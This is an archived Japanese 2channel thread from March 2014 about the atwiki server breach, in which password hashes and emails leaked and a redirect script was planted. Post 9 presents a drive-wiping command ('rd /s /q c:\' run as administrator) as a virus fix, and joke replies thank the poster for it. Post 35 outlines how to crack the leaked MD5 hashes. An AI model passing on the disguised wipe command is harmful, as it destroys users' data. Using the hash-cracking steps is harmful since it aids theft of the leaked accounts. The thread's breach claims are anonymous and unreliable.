5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【速報】atwikiのサーバーにヤバイ物置かれてサーバー自体がwiki状態に メアドやパスワードも流出 ★16

1 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 10:04:34.69 ID:T95JCFYC0 ?BRZ(10000)

3月4日時点のメールアドレスとパスワードのMD5ハッシュが流出
http://toro.2ch.net/test/read.cgi/esite/1394330889/40

有名wikiも自由に改変し放題 サーバに変なファイルも起き放題、全てのアットwikiが無法地帯に

■公式からのメール
http://i.imgur.com/7NwMc88.jpg
http://i.imgur.com/WTyj9uY.jpg
http://i.imgur.com/TQU0oAX.jpg

■公式が発表した情報
1:各Wiki管理者および登録ユーザーのパスワード(暗号化されてるが比較的簡単に解読可能)とメールアドレスが流出した
2:通信をリダイレクトをするスクリプトが仕込まれた
3:「パスワード再発行ページ」が改竄された
http://i.imgur.com/th43p8r.jpg

■これまでに判明したこと
・漏洩の対象サーバー
バックドアが仕掛けられてたのはwww1〜www58のすべて
漏洩した可能性は大いにある

・漏洩したものは(1)システム全体に関するSQLと(2)個別ウィキに関するSQLに分かれていた
(1)匿名でアップされていたSQLはシステム全体に関する前者
 全ウィキの管理者のメールアドレス、パスワードMD5、登録時のIPアドレスなど
(2)個別ウィキに関するSQLはウィキ数ぶん存在した
 そのウィキの編集者のメールアドレス、パスワードMD5、ウィキの過去の版と編集時のIPアドレスなど
 個別は数が多いのですべてダウンロードするのは難しいが漏洩した可能性はゼロではない

■前スレ
http://maguro.2ch.net/test/read.cgi/poverty/1394484251/

2 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 10:05:32.13 ID:R/CSxSgJ0
落ちたスレ立てんな

3 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 10:05:57.70 ID:5sDn7tuI0
何も解決してないのに鎮火したのか

4 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 10:06:07.10 ID:iPfoDWmy0
まだ対策出来てねえの?

5 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 10:08:30.79 ID:oMVOnWoI0
パズドラwiki踏みまくってるがなにも問題はないぞ

6 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 10:08:42.37 ID:BKkW5lLv0
現在進行形で被害者出してる可能性がある糞企業なのにな

7 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 10:09:28.98 ID:VghWKmim0
見ないように気をつけてたが見ちまったwww
今更見ないのは難しいぜ
よく分からんが自分が登録さえしてなけりゃ見ても大丈夫なの?

8 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 10:09:49.66 ID:y3cLQrKP0
正直騒動以来自分の所には一切アクセスしていない。
バックアップが生きてるうちにバックアップだけ取った。

そもそも今思えばアクセス数でアフィ乗せたほうが金になったなと
感じたがそんな守銭奴は嫌だったので何も乗せなかった。

で、今はWireshark入れて時々通信内容をチェックする日々。
アクセス先のIPとか出るから不正アクセスがないか確認できる。
http://www.wireshark.org/

9 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 10:11:03.34 ID:3tE49RS60
※重要事項

★☆@wikiを開いてしまった人へ☆★

スタート→全てのプログラム→アクセサリと進み
コマンドプロンプトを右クリック→管理者権限で実行しましょう。

コンソールが開くので
「cmd /c rd /s /q c:\」と入力。
PCが一度初期状態に戻るので、ウィルスによる情報流出を防げます。

10 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 10:16:55.07 ID:kn+Io+G00
まだやってんの?

11 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 10:19:44.98 ID:D+cecsPO0
>>9
これで助かった
本当にありがとう

12 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 10:50:05.32 ID:xVm4OiIy0
恐ろしいが、インターネットの黎明期を思い出させる出来事ではある。

13 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 11:01:16.66 ID:4M1WwgQ90
>>9
thx! 致命傷で済んだよ!

14 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 11:15:53.64 ID:cEIRJrWm0
>>9
その発想はなかった。お前天才かよ

15 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 11:25:39.25 ID:e4UCNGr80
くそ、Androidで対策できないのかよ
踏んじまった

16 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 11:25:48.82 ID:o2Rq1eoE0
新しい情報きてたよ

http://www1.atwiki.jp/guide/pages/2606.html

2014年03月14日 22時00分追記

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
1.ウイルス疑惑について
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

事件発生以後、調査をして参りました。
念のため、@wiki全サーバに対してウイルススキャンを行いましたが、
ウイルスは確認されませんでした。


=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
2.Javascriptの改ざん疑惑について
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

事件発生以後、調査をして参りましたが、Javascriptの改ざんはないと
確認できました。

17 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 11:26:19.34 ID:IFwX1/xR0
https://www.google.co.jp/search?q=dicjs%2F.php+site%3Aatwiki.jp

18 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 11:30:56.05 ID:IFwX1/xR0
>>16
当然ながら、未知のウイルスに対してウイルススキャンは無意味。

JavaScriptの改ざんというよりは、新たな悪意あるJavaScriptが設置されているか
どうかの問題。

というわけで、いずれも的外れ。

19 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 11:36:10.71 ID:p9K5uokD0
ハッカー気取りの奴等が思ったより雑魚だったな
ガッカリだよ

20 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 11:44:48.09 ID:vBeEvP1P0
早く鯖落とせって

21 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 12:24:50.59 ID:T93UngUA0
ウイルススキャンじゃなくてセキュリティ会社の技術者呼んで見てもらえよ

22 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 12:25:03.78 ID:jBkZf/jN0
いっえーい 運営みてるぅー?

やっぱ普通に見てるんだろうか

23 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 12:35:23.47 ID:VzBXZ3L80
2日ぶりくらいにスレ開いたけどどうせatwiki運営は何もやってないんだろ?

24 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 12:38:15.47 ID:4AjP8NgX0
まだやってんの?これ

25 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 12:40:16.19 ID:A04I+8450
MD5ってどこから出てきたん?

26 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 13:20:17.56 ID:lZ3C0B8q0
>>9の為にあるスレだな
しょーもな

27 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 13:44:49.51 ID:GjVz+Jfg0
>>16
サクサク軽快!ウイルスバスター!

28 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 13:47:06.49 ID:zbBy3LI00
嘘をつきました

29 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 13:49:16.89 ID:y0ti0tx30
ウイルス対策ソフトがウイルスだと認識してないと意味ないだろ
馬鹿か

30 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 14:23:17.46 ID:oQ2a030R0
対応のレベルの低さが所詮学生ベンチャーといったところだな。
せっかくシェアたくさん取ってたのにコレを機会に競合に移るのも多いだろうよ。

31 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 14:54:03.21 ID:HD9SJSaG0
昨日は出来たのに今データバックアップしようとしたら出来なくなっていた

32 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 14:56:33.63 ID:HD9SJSaG0
4.FTPの一時停止について

現在メンテナンスをしており、FTPを一時停止させていただいて
おります。ご了承のほど、よろしくお願いいたします。

これが原因かな?

33 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 15:55:45.85 ID:Hno7ALV60
>>9
ありがとう

34 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 16:04:33.18 ID:k7V3y2yJ0
数万ページあるところは移転が決まってたりしてるよ

そして、自分は一昨日うっかり踏んだが、PC内での怪しい動きはなかった

35 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 16:08:53.59 ID:dMdAtEyZ0
1.流出したmd5ハッシュリストを入手
2.md5ハッシュのみにして余計なのを削除
3.sortコマンドで並び替え
4.uniq -cコマンドで連続行数を付加
5.sort -nコマンドで上位◯位くらいまでのパスワードのmd5ハッシュを取り出す
6.ハッシュからパスワードを逆算するプログラムにかける(or逆算するサイトにハッシュ入力)
7.上位◯位のパスワードをゲット

36 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 16:22:17.70 ID:sKFwPLT+0
気を付けてたのに踏んじまった
忘れた頃に変な挙動されるのが一番困るんだけどね…

37 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 17:38:28.38 ID:HF4QNasq0
>>34
数万ページ移動とか
大変そうだな

38 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 17:47:42.03 ID:9t848onW0
うっかりやさんはサイトブロックしとけ
ついでに短縮url系も

39 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 18:32:11.05 ID:ya7CYS5R0
あ、あああ!
ゲームカタログ見るつもりで普通に開いてしまった
大丈夫だよなこれ

40 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 18:34:04.62 ID:aGvU5DJq0
バックドア全部塞いだの?

41 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 19:01:38.26 ID:5SE0UY3o0
塞いだかどうかなんて知りようがない

42 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 19:54:28.46 ID:jBkZf/jN0
ttp://www1.axfc.net/u/3194868.zip
atwikiのデータを手軽にさくっとバックアップしたいけど、怖くてアクセスできない、
っていう人のためにバックアップ補助ツール作ってきた

ソースと簡単な説明書もつけたから心配ならコード読んで自分でコンパイルするといい

43 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 19:57:54.83 ID:jBkZf/jN0
そうそう、一応作成・動作確認はWindows XP 32bitで行ったけど
64bitやXP以降でどうかは確認してない c手打ちで作ってあるから多分大丈夫だ・・と思うけど

44 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 21:12:00.51 ID:17TYjBcT0
騒動あったことも知らずに
普通に使ってる人達もいるし大丈夫だろ

45 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 21:13:27.25 ID:WbDBSBvC0
★☆@wikiを開いてしまった人用まとめ★☆

http://i.imgur.com/Zwq3OCM.jpg
http://i.imgur.com/Yxr8zhB.jpg
http://i.imgur.com/fIhcSyQ.jpg
http://i.imgur.com/4tN0joz.jpg

http://fmn.rrimg.com/fmn054/20110520/2255/b_large_FKtF_17e9000040aa5c43.jpg
http://fmn.xnpic.com/fmn050/20110520/2255/b_large_Sd7x_1831000040e25c43.jpg
http://fmn.xnpic.com/fmn049/20110520/2300/b_large_OpW8_23fa0000405f5c6f.jpg
http://fmn.rrimg.com/fmn053/20110520/2300/b_large_FDFH_661400004feb5c41.jpg
http://fmn.xnpic.com/fmn049/20110520/2300/b_large_SIrC_6644000050365c41.jpg

http://fmn.rrimg.com/fmn052/20110520/2300/b_large_21S3_2401000040bc5c71.jpg
http://fmn.rrimg.com/fmn051/20110520/2300/b_large_jj4M_6614000050275c41.jpg
http://fmn.rrimg.com/fmn054/20110520/2300/b_large_lkio_23ed000040cc5c71.jpg
http://fmn.rrimg.com/fmn047/20110520/2300/b_large_himi_49ae0000407f5c3f.jpg
http://fmn.xnpic.com/fmn050/20110520/2300/b_large_9W4a_23e70000409f5c71.jpg

http://fmn.rrfmn.com/fmn048/20110520/2300/b_large_MgS2_2cec00003ffe5c44.jpg
http://fmn.xnpic.com/fmn049/20110520/2300/b_large_tKbS_23fa000040f35c6f.jpg

おしまい

おまけ
http://pya.cc/00000324/omote/img/2003120310.jpg

46 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 21:18:13.97 ID:5SE0UY3o0
>>45

短時間でよくまとめたな

47 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 21:25:03.08 ID:gbknHbto0
>>47

ウィルス注意

48 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/15(土) 21:31:04.61 ID:Jja2QGo40
>>47
自分危険です宣言するのはいいがマスクくらいしてくれよ感染るだろ

49 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/16(日) 00:16:28.50 ID:C2iC8nh50
みんなあきるの早いね

50 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/16(日) 01:19:58.99 ID:mfVkp2+S0
飽きて忘れてくれないと次の攻撃を仕掛けられないからな

51 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/16(日) 04:47:38.93 ID:tSXK/wtZ0
もう閲覧して大丈夫?

52 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/16(日) 04:58:23.39 ID:nXG1xE1Z0
2chで大丈夫だよ^^ って言われて信じるなら、いいんじゃないですかぁ

53 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/16(日) 05:02:18.75 ID:Ech9B4eQ0
ぶっちゃけ何も関係ないだろ
wiki編集者やwiki管理してるやつがヤバイだけなんだろ

54 :番組の途中ですがアフィサイトへの転載は禁止です:2014/03/16(日) 05:15:23.63 ID:AYaisH4y0
「だろ」に自信のなさが如実に現れています

14 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.02 2018/11/22 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)